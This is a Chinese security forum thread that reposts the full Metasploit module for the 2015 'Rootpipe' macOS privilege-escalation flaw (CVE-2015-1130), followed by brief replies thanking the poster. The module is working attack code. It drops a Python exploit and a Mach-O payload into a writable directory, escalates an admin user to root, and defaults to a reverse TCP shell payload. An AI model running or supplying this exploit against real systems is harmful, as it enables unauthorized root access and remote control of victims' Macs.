查看: 25386|回复: 113

Mac OS X Rootpipe权限提升漏洞

[复制链接]
  • TA的每日心情

    2024-11-13 20:06
  • 签到天数: 1628 天

    [LV.Master]伴坛终老

    发表于 2015-4-13 12:00:43 | 显示全部楼层 |阅读模式
    CVE-2015-1130
    描述:
    This Metasploit module exploits a hidden backdoor API in Apple's Admin framework on Mac OS X to escalate privileges to root, dubbed Rootpipe. Tested on Yosemite 10.10.2 and should work on previous versions. The patch for this issue was not backported to older releases. Note: you must run this exploit as an admin user to escalate to root.

    [PHP] 纯文本查看 复制代码
    ##
    # This module requires Metasploit: [url]http://metasploit.com/download[/url]
    # Current source: [url]https://github.com/rapid7/metasploit-framework[/url]
    ##
     
    require 'msf/core'
     
    class Metasploit4 < Msf::Exploit::Local
     
      Rank = GreatRanking
     
      include Msf::Post::OSX::System
      include Msf::Exploit::EXE
      include Msf::Exploit::FileDropper
     
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'Mac OS X "Rootpipe" Privilege Escalation',
          'Description'    => %q{
            This module exploits a hidden backdoor API in Apple's Admin framework on
            Mac OS X to escalate privileges to root. Dubbed "Rootpipe."
     
            Tested on Yosemite 10.10.2 and should work on previous versions.
     
            The patch for this issue was not backported to older releases.
     
            Note: you must run this exploit as an admin user to escalate to root.
          },
          'Author'         => [
            'Emil Kvarnhammar', # Vulnerability discovery and PoC
            'joev',             # Copy/paste monkey
            'wvu'               # Meta copy/paste monkey
          ],
          'References'     => [
            ['CVE',   '2015-1130'],
            ['OSVDB', '114114'],
            ['EDB',   '36692'],
            ['URL',   'https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/']
          ],
          'DisclosureDate' => 'Apr 9 2015',
          'License'        => MSF_LICENSE,
          'Platform'       => 'osx',
          'Arch'           => ARCH_X86_64,
          'SessionTypes'   => ['shell'],
          'Targets'        => [
            ['Mac OS X 10.9-10.10.2', {}]
          ],
          'DefaultTarget'  => 0,
          'DefaultOptions' => {
            'PAYLOAD' => 'osx/x64/shell_reverse_tcp',
            'CMD'     => '/bin/zsh'
          }
        ))
     
        register_options([
          OptString.new('PYTHON',      [true, 'Python executable', '/usr/bin/python']),
          OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
        ])
      end
     
      def check
        (ver? && admin?) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
      end
     
      def exploit
        print_status("Writing exploit to `#{exploit_file}'")
        write_file(exploit_file, python_exploit)
        register_file_for_cleanup(exploit_file)
     
        print_status("Writing payload to `#{payload_file}'")
        write_file(payload_file, binary_payload)
        register_file_for_cleanup(payload_file)
     
        print_status('Executing exploit...')
        cmd_exec(sploit)
        print_status('Executing payload...')
        cmd_exec(payload_file)
      end
     
      def ver?
        Gem::Version.new(get_sysinfo['ProductVersion']).between?(
          Gem::Version.new('10.9'), Gem::Version.new('10.10.2')
        )
      end
     
      def admin?
        cmd_exec('groups | grep -wq admin && echo true') == 'true'
      end
     
      def sploit
        "#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"
      end
     
      def python_exploit
        File.read(File.join(
          Msf::Config.data_directory, 'exploits', 'CVE-2015-1130', 'exploit.py'
        ))
      end
     
      def binary_payload
        Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
      end
     
      def exploit_file
        @exploit_file ||=
          "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
      end
     
      def payload_file
        @payload_file ||=
          "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
      end
     
    end
     
    [2015-04-13]  #
    回复

    使用道具 举报

  • TA的每日心情
    慵懒
    2022-4-16 15:45
  • 签到天数: 247 天

    [LV.8]以坛为家I

    发表于 2015-4-13 14:19:08 | 显示全部楼层
    好“美”的空格。
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-28 13:19:36 | 显示全部楼层
    还是不错的哦,顶了
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    郁闷
    2016-4-13 21:38
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2015-6-29 16:17:21 | 显示全部楼层
    支持,看起来不错呢!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-29 22:17:29 | 显示全部楼层
    支持,看起来不错呢!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-7-2 09:06:35 | 显示全部楼层
    支持,看起来不错呢!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-7-2 12:25:17 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-7-3 00:48:40 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-7-3 13:31:39 | 显示全部楼层
    感谢楼主的分享~
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-7-6 00:17:17 | 显示全部楼层
    还是不错的哦,顶了
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-11-22 10:57 , Processed in 0.026484 second(s), 12 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部